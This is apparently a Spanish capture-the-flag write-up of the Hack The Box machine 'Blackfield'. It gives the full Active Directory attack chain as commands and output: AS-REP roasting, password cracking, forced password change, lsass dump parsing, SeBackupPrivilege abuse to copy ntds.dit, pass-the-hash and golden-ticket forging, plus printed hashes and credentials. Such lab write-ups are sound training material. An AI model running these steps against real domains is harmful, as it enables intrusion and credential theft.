# BLACKFIELD ## Reconocimiento ### nmap ~~~ nmap -sS --min-rate 5000 --open -p- -vvv -Pn -n 10.10.10.192 -oG allPorts ~~~ ![](https://i.imgur.com/VvldxxA.png) ~~~ nmap -sCV -p53,88,135,139,389,445,593,3268,5985,49676 10.10.10.192 -oN targeted ~~~ ![](https://i.imgur.com/7QpZaRK.png) ### smb - Puerto 139,445 #### crackmapexec ~~~ crackmapexec smb 10.10.10.192 ~~~ ![](https://i.imgur.com/W120v7d.png) ``` domain:BLACKFIELD.local name:DC01 ``` Algo a tener en cuenta es que generalmente los controladores de dominio tiene nombres como `DC01`, `DC02` o similares. Otra forma de saber con qué Versión de Windows Server se está tratando es ver la versión del release: [Windows Server Release Version](https://docs.microsoft.com/en-us/windows-server/get-started/windows-server-release-info) ![](https://i.imgur.com/g3qBbIk.png) #### smbmap ~~~ smbmap -H 10.10.10.192 -u "cualquiercosa" smbmap -H 10.10.10.192 -u 'cualquiercosa' smbmap -H 10.10.10.192 -u "anonymous" ~~~ ![](https://i.imgur.com/NJLvoKd.png) Si se quiere ver los recursos dentro de `profiles$`: ~~~ smbmap -H 10.10.10.192 -u 'cualquiercosa' -r 'profiles$' ~~~ ¿Por qué tarda tanto la busqueda recursiva con smbmap? ¿Otra forma de hacer el smbmap con el usuario anonymous? #### smbclient ~~~ smbclient \\\\10.10.10.192\\profiles$ -U 'anonymous' ~~~ ![](https://i.imgur.com/KQ2WCpj.png) Se colocan todas las carpetas de usuarios en el archivo user.txt para validarlos a través del servicio de kerberos. ### kerberos - Puerto 88 #### kerbrute La herramienta `kerbrute` permite la enumeración de usuarios válidos: ~~~ /opt/kerbrute/kerbrute userenum --dc 10.10.10.192 --domain BLACKFIELD.local users.txt ~~~ ![](https://i.imgur.com/jdfxkeP.png) ~~~ 2022/04/12 07:57:23 > [+] VALID USERNAME: audit2020@BLACKFIELD.local 2022/04/12 07:57:34 > [+] VALID USERNAME: svc_backup@BLACKFIELD.local 2022/04/12 07:57:34 > [+] support has no pre auth required. Dumping hash to crack offline: $krb5asrep$18$support@BLACKFIELD.LOCAL:943760a7821da17ba3adad261dfd6f81$75030157ce452c2a4346584838441912230148dd3974fa77990d11bb4cf76dd805ad91353d8e2916b80dd1bc8f7989291cab8db935473bc425b3fd3dcde813bc7b07d947a0453900adc5b46e0560ef7eacfad892e31c620f41604b12696b57c2826ef1575ff8ef802ba3dfc82235043106a5728df815f09db3c8c87383cdcd981260150f9ba7e4dba8fe9fafb1f316372f626dabc464732e763f4b6e5985aeb3376760bf224f6bf026dc8ff1ac337e6960ca2bc2f773fe000c8230edc078c58e492240214340bce6da73f23e7849ff38f49afbfcfb7caec810a28bd7833d29f07bd7add9362178b446c070c2924be8e33aa95cd7323ff1e3ee845ab2e1e98f59c7c06d1acaa77681 2022/04/12 07:57:34 > [+] VALID USERNAME: support@BLACKFIELD.local ~~~ ~~~ echo "10.10.10.192 blackfield.local DC01" >> /etc/hosts ~~~ ![](https://i.imgur.com/5gLxjGR.png) #### GetNPUsers Se solicita el TGT para el usuario `support`: ~~~ python3 /opt/impacket/examples/GetNPUsers.py blackfield.local/ -no-pass -usersfile usersValidos ~~~ ![](https://i.imgur.com/xucPgy8.png) ~~~ john --wordlist=/usr/share/wordlists/rockyou.txt hashSVC_BACKUP2 ~~~ ![](https://i.imgur.com/g03NWgB.png) Credenciales: `support:#00^BlackKnight` Obs: Cuando el hash entregado por `Kerbrute` no se logra crackear, usar el hash entregado por `GetNPUser.py`. #### GetUserSPNs Se solicita algún TGS con las credenciales del usuario `svc_backup`: ~~~ python3 /opt/impacket/examples/GetUserSPNs.py -request 'blackfield.local/support:#00^BlackKnight' ~~~ ![](https://i.imgur.com/LHBVjU0.png) Pero ningún usuario es `kerberoasteable`. ## Acceso ### support ~~~ crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight' ~~~ ![](https://i.imgur.com/taooJSs.png) #### ldapdomaindump El puerto ldap está abierto entonces se puede usar la herramienta `ldapdomaindump`: ~~~ rm -rf /var/www/html/* service apache2 start ldapdomaindump -u 'blackfield.local\support' -p '#00^BlackKnight' 10.10.10.192 ~~~ ![](https://i.imgur.com/Su238e2.png) ![](https://i.imgur.com/Cvc9pOp.png) ![](https://i.imgur.com/whzE8QN.png) #### Bloodhound Haciendo uso de bloodhound para obtener un reconocimiento del sistema de forma remota: ~~~ python3 /opt/BloodHound.py/bloodhound.py -c All -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local ~~~ ![](https://i.imgur.com/Ar1R8xC.png) Dentro de bloodhound se pueden visualizar las redes que muestran las relaciones entre los usuarios, en este caso se visualiza la información del usuario `support` como un nodo: ![](https://i.imgur.com/YZFitL1.png) #### Abusando DACL/ACE - ForceChangePassword El usuario `support` tiene la capacidad de cambiar la contraseña del usuario `audit2020`. ![](https://i.imgur.com/ePDh7sX.png) Obs: DACL/ACE definen quién puede leer/modificar a los objetos asegurables(usuarios y grupos); es decir, cambiar el nombre de la cuenta, restablecer la contraseña, etc. #### rpcclient - Puerto 135 ~~~ rpcclient -U "" 10.10.10.192 rpcclient -U "support%#00^BlackKnight" 10.10.10.192 ~~~ **Cambio de contraseña** * 1era forma ``` rpcclient -U "support%#00^BlackKnight" 10.10.10.192 setuserinfo2 support 23 '#00^BlackKnight' ``` * 2da forma ~~~ net rpc password audit2020 -U 'support' -s 10.10.10.192 ~~~ ### audit2020 #### smbmap ``` smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1' ``` ![](https://i.imgur.com/pFuoU9J.png) ``` smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1' -R 'forensic/' ``` ![](https://i.imgur.com/mvGpVN7.png) Se descarga el archivo `lsass.zip`: ``` smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1' --download forensic/memory_analysis/lsass.zip ``` ![](https://i.imgur.com/4XcFRkQ.png) Dentro del comprimido `lsass.zip` se encontrará un volcado o dump del proceso `lsass.exe` llamado `lsass.DMP`, y se pueden usar herramientas como `mimikatz` o `pypykatz` para leer la información de dicho volcado. El procesos `lsass.exe` permite: * Reforzamiento de las políticas de seguridad * Verificación de autentificación del usuario en un ordenador o servidor Windows * Manejo de los cambios de contraseñas * Creación de fichas de acceso #### pypykatz Pypykatz es una implementación de Mimikatz en Python, con la posibilidad de ser ejecutada en cualquier sistema operativo. ``` pypykatz lsa minidump lsass.DMP ``` ![](https://i.imgur.com/AAJ3klI.png) ``` Username: svc_backup NT: 9658d1d1dcd9250115e2205d9f48400d ``` ### svc_backup #### crackmapexec ``` crackmapexec smb 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' ``` ![](https://i.imgur.com/fogi5Yj.png) ``` crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d' ``` ![](https://i.imgur.com/4fl0SuG.png) #### evil-winrm ![](https://i.imgur.com/AQNQs7P.png) El comando `systeminfo` no logra ser ejecutado, una variante de ello es usar `Registry`. ~~~ reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName ~~~ ![](https://i.imgur.com/1WhgG4V.png) ¿Cómo encontrar la versión de Windows usando Registry? [Versión de Windows usando Registry](https://mivilisnet.wordpress.com/2020/02/04/how-to-find-the-windows-version-using-registry/) Se puede ver que la versión `Windows Server 2019` es la misma que se obtuvo en un inicio. NOTA - OBS: VER SI SE PUEDE USAR EL REG.PY Y OBTENEMOS ALGO Ahora intentando visualizar la flag `root.txt` se ve que no se tiene suficientes permisos para visualizarlo. ![](https://i.imgur.com/LrbGn0U.png) ## Obteniendo Privilegios ### Abusing Tokens #### SeBackupPrivilege Al ejecutar el comando `whoami /priv` se ve que el privilegio `SeBackupPrivilege` está habilitado. ![](https://i.imgur.com/SaJuGKz.png) Este privilegio hace que el sistema otorgue todo el control de acceso de lectura a cualquier archivo (solo lectura). Se realiza una copia del `system` y `sam`: ``` reg save HKLM\system system reg save HKLM\sam sam ``` ![](https://i.imgur.com/eaI6HZN.png) #### secretsdump Desde el equipo local se hace uso de `secretsdump` con las copias de archivos `system` y `sam`, con ello dumpeamos los hashes existentes en la máquina local pero no los usuarios del dominio. ``` python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -sam 'C:\Temp\sam' LOCAL ``` ![](https://i.imgur.com/ixK9uAz.png) ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:67ef902eae0d740df6257f273de75051::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ``` Y con ello obtenemos el hash del usuario Administrador de la máquina local. Dumpeando el `ntds.dit` se pueden obtener los hashes de los usuarios pertenecientes al DC. Visualizando el archivo `ntds.dit`: ~~~ dir C:\Windows\NTDS ~~~ #### Dumpeando ntds.dit - DiskShadow [SeBackupPrivilege - pentestlab](https://pentestlab.blog/tag/diskshadow/) Se crea el archivo `test.txt` el cual permite que la unidad lógica sea una unidad a la cual se pueda acceder a todos los recursos del sistema. ![](https://i.imgur.com/PYGV15Y.png) Subimos este archivo a la máquina víctima en la ruta `c:\Temp` Ejecutamos el comando `diskshadow.exe /s c:\Temp\test.txt` en la máquina víctima Ya se ha creado la copia: ``` dir z:\ dir z:\Windows\NTDS robocopy /b z:\Windows\NTDS\ . ntds.dit dir ``` ![](https://i.imgur.com/akfslg2.png) Y ahora solo llevamos el ntds.dit a nuestro sistema. #### secretsdump ``` python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -ntds 'C:\Temp\ntds.dit' LOCAL ``` ![](https://i.imgur.com/Qm4Yshs.png) ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:3774928fe55833e6c62abdc233f47a7b::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d::: audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa::: support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212::: ``` ### PassTheHash ~~~ crackmapexec smb 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee' ~~~ ![](https://i.imgur.com/JnolYec.png) ~~~ evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee' ~~~ ![](https://i.imgur.com/xK2HR5C.png) ## Adicional ### Golden Ticket ``` python3 /opt/impacket/examples/lookupsid.py blackfield.local/Administrator@10.10.10.192 -hashes ':184fb5e5178480be64824d4cd53b99ee' ``` ![](https://i.imgur.com/HOF48Dd.png) `Domain SID is: S-1-5-21-4194615774-2175524697-3563712290` ``` python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -ntds 'C:\Temp\ntds.dit' -outputfile krb -user-status LOCAL ``` ![](https://i.imgur.com/gwoP1jQ.png) `krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::` ``` python3 /opt/impacket/examples/ticketer.py -nthash d3c02561bba6ee4ad6cfd024ec8fda5d -domain-sid S-1-5-21-4194615774-2175524697-3563712290 -domain blackfield.local cr4y0 ``` ![](https://i.imgur.com/LQJQGzr.png) ``` export KRB5CCNAME=/home/cr4y0/Desktop/HackTheBox/BLACKFIELD/cr4y0.ccache ``` ``` python3 /opt/impacket/examples/ticketConverter.py /home/cr4y0/Desktop/HackTheBox/BLACKFIELD/cr4y0.ccache ticket.kirbi ``` ![](https://i.imgur.com/wW4MPwB.png) ``` python3 /opt/impacket/examples/psexec.py -dc-ip 10.10.10.192 -target-ip 10.10.10.192 -no-pass -k blackfield.local/Administrator@DC01.blackfield.local ``` ![](https://i.imgur.com/jY1Uvh4.png) ![](https://i.imgur.com/pDLj2V1.png) ``` rdate -n 10.10.10.192 ``` ![](https://i.imgur.com/yPHLHHg.png)